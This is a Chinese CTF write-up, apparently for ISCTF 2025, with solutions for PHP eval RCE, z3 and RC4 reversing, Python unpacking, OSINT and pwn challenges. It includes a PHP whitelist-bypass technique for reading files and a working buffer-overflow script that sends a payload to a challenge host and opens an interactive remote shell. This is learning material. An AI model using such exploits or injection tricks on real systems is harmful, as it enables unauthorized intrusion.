ezrce
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}
一个简单的get传参,给了一个正则的白名单,可以使用chdir跳到根目录,再print flag,这边白名单里面没有/, 就用DIRECTORY_SEPARATOR,DIRECTORY_SEPARATOR这个是内置变量,可以替代/
之后print_r(file_get_contents(flag))即可。
Guess!
这个直接打开程序猜就可以了,给了十次机会很简单猜到。
ezzz_math
die分析之后直接ida反汇编看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+4h] [ebp-6Ch]
char Str[100]; // [esp+8h] [ebp-68h] BYREF
sub_403B50(aPleaseInputYou);
sub_403B50(aTryToUseZ3Solv);
sub_403B90("%80s", Str);
if ( strlen(Str) == 23 )
{
for ( i = 0; i < 23; ++i )
Str[i] ^= 0xCu;
if ( sub_401000(Str) )
puts(aRight);
else
puts(aWrong);
}
else
{
puts(Buffer);
}
return 0;
}
接着定位到sub_401000,发现是一个多方程求解问题,写个脚本 解密
from z3 import *
# 23 chars: a[0]..a[22]
a = [Int(f'a{i}') for i in range(23)]
s = Solver()
# 每个字符限制为可见 ASCII
for x in a:
s.add(x >= 32, x <= 126)
s.add(
94*a[22] + 74*a[21] + 70*a[19] + 12*a[18] + 20*a[16] + 62*a[12] + 82*a[10]
+ 7*a[7] + 63*a[6] + 18*a[5] + 58*a[4] + 94*a[2] + 77*a[0] - 43*a[1]
- 37*a[3] - 97*a[8] - 23*a[9] - 86*a[11] - 6*a[13] - 5*a[14] - 79*a[15]
- 63*a[17] - 93*a[20] == 20156,
87*a[22] + 75*a[21] + 73*a[15] + 67*a[14] + 30*a[13] + a[11]*64 + 35*a[9]
+ 91*a[7] + 91*a[5] + 34*a[3] + 74*a[0] - 89*a[1] - 72*a[2] - 76*a[4]
- 32*a[6] - 97*a[8] - 39*a[10] - 23*a[12] + 8*a[16] - 98*a[17] - 4*a[18]
- 80*a[19] - 83*a[20] == 7183,
51*a[21] + 22*a[20] + 15*a[19] + 51*a[17] + 96*a[12] + 34*a[7] + 77*a[5]
+ 59*a[2] + 89*a[1] + 92*a[0] - 85*a[3] - 50*a[4] - 51*a[6] - 75*a[8]
- 40*a[10] - 4*a[11] - 74*a[13] - 98*a[14] - 23*a[15] - 14*a[16]
- 92*a[18] - 7*a[22] == -7388,
61*a[22] + 72*a[21] + 28*a[20] + 55*a[18] + 20*a[17] + 13*a[14] + 51*a[13]
+ 69*a[12] + 10*a[11] + 95*a[10] + 43*a[9] + 53*a[8] + 76*a[7] + 25*a[6]
+ 9*a[5] + 10*a[4] + 98*a[1] + 70*a[0] - 22*a[2] + 2*a[3] - 49*a[15]
+ 4*a[16] - 77*a[19] == 69057,
7*a[22] + 21*a[16] + 22*a[13] + 55*a[9] + 66*a[8] + 78*a[5] + 10*a[3]
+ 80*a[1] + 65*a[0] - 20*a[2] - 53*a[4] - 98*a[6] + 8*a[7] - 78*a[10]
- 94*a[11] - 93*a[12] - 18*a[14] - 48*a[15] - 9*a[17] - 73*a[18]
- 59*a[19] - 68*a[20] - 74*a[21] == -31438,
33*a[19] + 78*a[15] + 66*a[10] + 3*a[9] + 43*a[4] + 24*a[3] + 3*a[2]
+ 27*a[0] - 18*a[1] - 46*a[5] - 18*a[6] - a[7] - 33*a[8] - 50*a[11]
- 23*a[12] - 37*a[13] - 45*a[14] + 2*a[16] - a[17] - 60*a[18]
- 87*a[20] - 72*a[21] - 6*a[22] == -26121,
31*a[20] + 80*a[18] + 34*a[17] + 34*a[15] + 38*a[14] + 53*a[13]
+ 35*a[12] + 82*a[9] + 27*a[8] + 80*a[7] + 46*a[6] + 18*a[4] + 5*a[1]
+ 98*a[0] - 12*a[2] - 9*a[3] - 57*a[5] - 46*a[10] - 31*a[11] - 68*a[16]
- 94*a[19] - 93*a[21] - 15*a[22] == 26005,
81*a[21] + 40*a[20] + 34*a[19] + 94*a[18] + 98*a[17] + 11*a[14]
+ 63*a[13] + 95*a[12] + 43*a[11] + 99*a[10] + 29*a[9] + 81*a[6]
+ 72*a[5] + 54*a[3] + 21*a[0] - 26*a[1] - 90*a[2] - 15*a[4] - 54*a[7]
- 12*a[8] - 38*a[15] - 15*a[16] - 56*a[22] == 57169,
71*a[18] + 39*a[17] + 73*a[15] + 14*a[14] + 56*a[12] + 56*a[10]
+ 27*a[9] + 68*a[7] + 39*a[6] + 26*a[5] + 40*a[4] + 24*a[3] + 11*a[2]
+ 14*a[1] + 94*a[0] - 10*a[8] - 11*a[11] - 63*a[13] - 39*a[16] - 14*a[19]
- 17*a[20] - 23*a[21] - 7*a[22] == 40024,
a[22]*64 + 80*a[21] + 89*a[20] + 70*a[19] + 66*a[18] + 55*a[17]
+ 16*a[16] + 84*a[13] + 48*a[12] + 11*a[7] + 32*a[5] + 99*a[0]
- 26*a[1] - 91*a[2] - 96*a[3] - 63*a[4] - 67*a[6] - 72*a[8] + 4*a[9]
- 84*a[10] - 81*a[11] - 80*a[14] - 98*a[15] == 432,
a[21] + 41*a[17] + 46*a[12] + 44*a[9] + 63*a[0] - 73*a[1] - 43*a[2]
+ 4*a[3] - 37*a[4] - 54*a[5] - 58*a[6] - 95*a[7] - 2*a[8] - 37*a[10]
- 5*a[11] + 2*a[13] - 46*a[14] - 27*a[15] - 19*a[16] - 78*a[18]
- 51*a[19] - 82*a[20] - 59*a[22] == -57338,
10*a[22] + 58*a[18] + 16*a[17] + 69*a[16] + 6*a[15] + 5*a[12] + 87*a[7]
+ 47*a[5] + 91*a[4] + 54*a[2] + 21*a[1] + 52*a[0] - 76*a[3] - 96*a[6]
- 27*a[8] - 43*a[9] - 15*a[10] - 35*a[11] - 53*a[13] + 4*a[14]
- 83*a[19] - 68*a[20] - 18*a[21] == 1777,
66*a[22] + 92*a[21] + 29*a[20] + 42*a[19] + 55*a[14] + 72*a[13] + 40*a[12]
+ 31*a[10] + 88*a[9] + 61*a[8] + 59*a[7] + 35*a[6] + 16*a[3] + 24*a[1]
+ 60*a[0] - 55*a[2] - 8*a[4] - 7*a[5] - 17*a[11] - 25*a[15] - 22*a[16]
- 10*a[17] - 59*a[18] == 47727,
3*a[21] + 54*a[18] + 6*a[15] + 93*a[14] + 74*a[10] + 6*a[7] + 98*a[4]
+ 65*a[3] + 84*a[2] + 18*a[1] + 35*a[0] - 29*a[5] - 40*a[6] - 35*a[8]
+ 8*a[9] - 15*a[11] - 4*a[12] - 83*a[16] - 74*a[17] - 72*a[19]
- 53*a[20] - 31*a[22] == 6695,
45*a[20] + 14*a[19] + 76*a[18] + 17*a[16] + 86*a[14] + 28*a[11]
+ 19*a[5] + 46*a[1] + 75*a[0] - 12*a[2] - 27*a[3] - 66*a[4] - 27*a[6]
- 32*a[7] - 69*a[8] - 31*a[9] - 65*a[10] - 54*a[12] - 6*a[13]
+ 2*a[15] - 10*a[17] - 89*a[21] - 16*a[22] == -3780,
62*a[21] + 74*a[20] + 28*a[18] + 7*a[17] + 74*a[16] + 45*a[15]
+ 57*a[14] + 34*a[11] + 85*a[10] + 98*a[6] + 29*a[4] + 94*a[3] + 51*a[2]
+ 85*a[1] - 36*a[5] - a[7] - 3*a[8] - 74*a[9] - 70*a[12] - 68*a[13]
- 3*a[19] + 8*a[22] == 47300,
22*a[22] + 45*a[21] + 14*a[19] + 32*a[18] + 77*a[17] + 70*a[12] + 7*a[10]
+ 99*a[4] + 82*a[0] - 48*a[1] - 40*a[2] - 81*a[3] - 27*a[5] - 75*a[6]
- 79*a[7] - 26*a[8] - 68*a[9] - 57*a[11] - 77*a[13] - 32*a[14]
- a[15] - 91*a[16] - 14*a[20] == -34153,
65*a[21] + 13*a[20] + 61*a[17] + 97*a[13] + 24*a[10] + 40*a[5] + 20*a[0]
- 81*a[1] - 17*a[2] - 77*a[3] - 79*a[4] - 45*a[6] - 61*a[7] - 48*a[8]
- 97*a[9] - 49*a[11] - 14*a[12] - 81*a[14] - 20*a[15] - 27*a[16]
- 89*a[18] - 93*a[19] - 46*a[22] == -55479,
60*a[21] + 70*a[20] + 13*a[15] + 87*a[13] + 76*a[11] + 88*a[9]
+ 87*a[3] + 87*a[0] - 97*a[1] - 40*a[2] - 49*a[4] - 23*a[5] - 30*a[6]
- 50*a[7] - 98*a[8] - 21*a[10] - 54*a[12] - 65*a[14] - 80*a[17]
- 28*a[18] - 57*a[19] - 70*a[22] == -20651,
54*a[20] + 86*a[17] + 92*a[16] + 41*a[15] + 70*a[10] + 9*a[9] + a[8]
+ 96*a[7] + 45*a[6] + 78*a[5] + 3*a[4] + 90*a[3] + 71*a[2] + 96*a[0]
- 8*a[1] + 4*a[11] - 55*a[12] - 73*a[13] - 54*a[14] - 89*a[18]
- a[19]*64 - 67*a[21] + 4*a[22] == 35926,
5*a[22] + 88*a[20] + 52*a[19] + 21*a[17] + 25*a[16] + 3*a[13] + 88*a[10]
+ 39*a[8] + 48*a[7] + 74*a[6] + 86*a[4] + 46*a[2] + 17*a[0] - 98*a[1]
- 50*a[3] - 28*a[5] - 73*a[9] - 33*a[11] - 75*a[12] - 14*a[14]
- 31*a[15] - 26*a[18] - 52*a[21] == 8283,
96*a[22] + 85*a[20] + 55*a[19] + 99*a[13] + 19*a[11] + 77*a[10]
+ 52*a[9] + 66*a[8] + 96*a[6] + 72*a[4] + 90*a[3] + 60*a[1] + 94*a[0]
- 99*a[2] - 26*a[5] - 94*a[7] - 49*a[12] - 32*a[14] - 54*a[15]
- 92*a[16] - 71*a[17] - 63*a[18] - 23*a[21] == 33789,
15*a[22] + a[19] + 26*a[17] + 65*a[16] + 80*a[11] + 92*a[8] + 28*a[5]
+ 79*a[4] + 73*a[0] - 98*a[1] - 2*a[2] - 70*a[3] - 10*a[6] - 30*a[7]
- 51*a[9] - 77*a[10] - 32*a[12] - 32*a[13] + 8*a[14] + 4*a[15]
- 11*a[18] - 83*a[20] - 85*a[21] == -10455
)
# Solve
if s.check() == sat:
model = s.model()
res = ''.join(chr(model[x].as_long()) for x in a)
print("Result:", res)
else:
print("No solution")
解密之后再加一个main函数上面的历遍和12异或就可以.
OSINT-1、2
这个都是通过百度识图就可以找到具体的地点,然后再用谷歌地图的视角去找就可以了。
pwn来签个到吧
import socket
import struct
def main():
host = 'challenge.bluesharkinfo.com'
port = 26050
target = struct.pack('<I', 0xADDAAAAA)
exploit_data = b'N' * 108 + target + b'A' * (140 - 108 - 4)
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(15)
s.connect((host, port))
s.recv(1024)
s.send(exploit_data)
response = s.recv(1024)
if b'blueshark likes you too!' in response:
while True:
cmd = input("blueshark# ").strip()
if cmd.lower() in ['exit', 'quit', 'q']:
break
if cmd:
s.send((cmd + '\n').encode())
print(s.recv(4096).decode(), end='')
except Exception as e:
print(e)
if __name__ == "__main__":
main()
用ida分析可以找到后门地址,和设置的溢出量
根据这个去写脚本就可以,溢出量+后门地址
ezpy
这个是用py打包的,直接解析得到源码
一般都是直接反编译ezpy.pyc但是这边,因为和题目最贴合,但是这边正常编译不出来,后面也是去用了哪一个网站猜编译出来的,可以看到里面的一些调用信息,之后再去分析其他的文件,可以知道要去分析mypy.cp313-win_amd64.pyd这个文件,直接用ida去分析

这个是主函数,再这个函数里面可以看到密钥是ISCTF2025和他的加密逻辑,接着追踪加密函数

可以知道是rc4加密,这边会对密钥进行处理,变成字节流,接着追踪密文
写脚本即可
def rc4_ksa(key: bytes):
S = list(range(256))
j = 0
key_len = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_len]) & 0xFF
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S, length):
i = j = 0
out = []
for _ in range(length):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
out.append(K)
return bytes(out)
cipher_bytes = bytes([0x1D,0xD5,0x38,0x33,0xAF,0xB5,0x51,0xF3,0x2C,0x6B,0x6E,0xFE,0x41,0x24,0x43,0xD2,0x71,0xCF,0xA4,0x4C,0xE3,0x9A,0x9A,0xB5,0x31])
key = b"ISCTF2025"
S = rc4_ksa(key)
keystream = rc4_prga(S, 25)
flag_bytes = bytes(c ^ k for c, k in zip(cipher_bytes, keystream))
flag = flag_bytes.decode('utf-8', errors='ignore')
print(flag)
MysteriousStream
直接查壳ida反编译即可看到主要逻辑
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // r12
__int64 v5; // r14
char *v6; // rax
char *v7; // rbp
size_t v8; // r13
__int64 i; // rcx
char v11[17]; // [rsp+7h] [rbp-41h] BYREF
unsigned __int64 v12; // [rsp+18h] [rbp-30h]
v12 = __readfsqword(0x28u);
v3 = fopen("payload.dat", "rb");
if ( v3 )
{
v4 = v3;
fseek(v3, 0LL, 2);
v5 = ftell(v4);
if ( v5 < 0 )
{
puts("Get file size failed");
fclose(v4);
return 1;
}
else
{
fseek(v4, 0LL, 0);
v6 = (char *)malloc(v5);
v7 = v6;
if ( v6 )
{
v8 = fread(v6, 1uLL, v5, v4);
fclose(v4);
if ( v5 == v8 )
{
qmemcpy(v11, "P4ssXORSecr3tK3y!", sizeof(v11));
rc4_variant(v7, v8, &v11[7], 10LL);
if ( v8 )
{
for ( i = 0LL; i != v8; ++i )
v7[i] ^= v11[i % 7];
}
__printf_chk(1LL, "Result: %s\n", v7);
free(v7);
return 0;
}
else
{
__printf_chk(1LL, "Read failed! Expected %ld bytes, got %zu bytes\n", v5, v8);
free(v7);
return 1;
}
}
else
{
puts("Malloc memory failed");
fclose(v4);
return 1;
}
}
}
else
{
puts("payload.dat not found");
return 1;
}
}
主要是rc4的变种
变种逻辑 v8 = ((v7 & 0xAA) + v8 + v9 + key[v7 % keylen]) & 0xFF
标准逻辑(对比) j = (j + S[i] + key[i % len(key)]) & 0xFF
变种逻辑 v11 = S[i] # 先缓存S[i] j = (j + v11) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + v11) & 0xFF] # 用缓存的v11(交换前的S[i])
标准逻辑(对比) j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF] # 用交换后的S[i]+S[j]
用这些来解密bat文件。
def rc4_variant_from_c(data: bytearray, key: bytes):
# ===== KSA =====
S = [i for i in range(256)]
v8 = 0
keylen = len(key)
for v7 in range(256):
v9 = S[v7]
v8 = ((v7 & 0xAA) + v8 + v9 + key[v7 % keylen]) & 0xFF
S[v7], S[v8] = S[v8], S[v7]
# ===== PRGA =====
i = 0
j = 0
for idx in range(len(data)):
i = (i + 1) & 0xFF
v11 = S[i]
j = (j + v11) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + v11) & 0xFF]
data[idx] ^= K
def main():
# 读取 payload.dat
with open("payload.dat", "rb") as f:
buf = bytearray(f.read())
# v11 原始 17 字节,但程序只用:
# rc4_key = v11[7:17](10字节)
# xor_prefix = v11[0:7]
v11 = b"P4ssXORSecr3tK3y!"[:17]
xor_prefix = v11[:7]
rc4_key = v11[7:7+10]
# 1) 先 rc4_variant
rc4_variant_from_c(buf, rc4_key)
# 2) 再 XOR
for i in range(len(buf)):
buf[i] ^= xor_prefix[i % 7]
# 输出
print(buf.decode('utf-8', errors='replace'))
if __name__ == "__main__":
main()
ELF
还是py打包,先解包

直接反编译main
# Source Generated with Decompyle++
# File: F:/wrllq/main/main_extracted/main.pyc (Python 3.10)
import base64
import hashlib
import random
flag = '8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72'
YourInput = input('Please input your flag:')
enc = ''
if len(YourInput) != 24:
print('Length Wrong!!!')
exit(0)
def Rep(hash_data):
random.seed(161)
result = list(hash_data)
for i in range(len(result) - 1, 0, -1):
swap_index = random.randint(0, i)
result[i] = result[swap_index]
result[swap_index] = result[i]
return ''.join(result)
for i in range(len(YourInput) // 3):
c2b = base64.b64encode(YourInput[i * 3:(i + 1) * 3].encode('utf-8'))
hash = hashlib.md5(c2b).hexdigest()
enc += Rep(hash)
if enc == flag:
print('Your are win!!!')
return None
None('Your are lose!!!')
这就是一个加密流程,输入一个 24 字节的字符串,程序把它按3字节一组切成8组,每组做 base64→md5→重排后拼在一起,这边种子是固定的161,但是最后也没用到,所以我们可以进行逆向操作
到MD5这步,需要进行爆破,爆破所有 3 字节可打印字符串,最后拼接起来即可
import base64, hashlib, random, sys
flag = "8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72"
parts = [flag[i*32:(i+1)*32] for i in range(8)]
alphabet = ''.join(chr(i) for i in range(32,127))
def Rep_fixed(hash_data):
random.seed(161)
result = list(hash_data)
for i in range(len(result) - 1, 0, -1):
swap_index = random.randint(0, i)
tmp = result[i]
result[i] = result[swap_index]
result[swap_index] = tmp
return ''.join(result)
rep_to_triple = {}
count = 0
total = len(alphabet) ** 3
for a in alphabet:
for b in alphabet:
for c in alphabet:
s = a + b + c
h = hashlib.md5(base64.b64encode(s.encode())).hexdigest()
rep = Rep_fixed(h)
# keep first found triple if collisions happen
if rep not in rep_to_triple:
rep_to_triple[rep] = s
count += 1
recovered = []
missing = []
for idx, part in enumerate(parts):
triple = rep_to_triple.get(part)
if triple is None:
missing.append((idx, part))
recovered.append(None)
else:
recovered.append(triple)
for i, t in enumerate(recovered):
recovered_flag = "".join(recovered)
print(recovered_flag)
总结就是24位输入→按每3位拆分为8块
对每块执行:3位字符串→UTF-8编码→Base64编码→MD5哈希(32位16进制)→Rep→ 拼接8块的MD5结果 → 得到最终的enc字符串(即题目给出的flag)
所有我们反过来要先对给的一大串进行分块,再逆着来一边。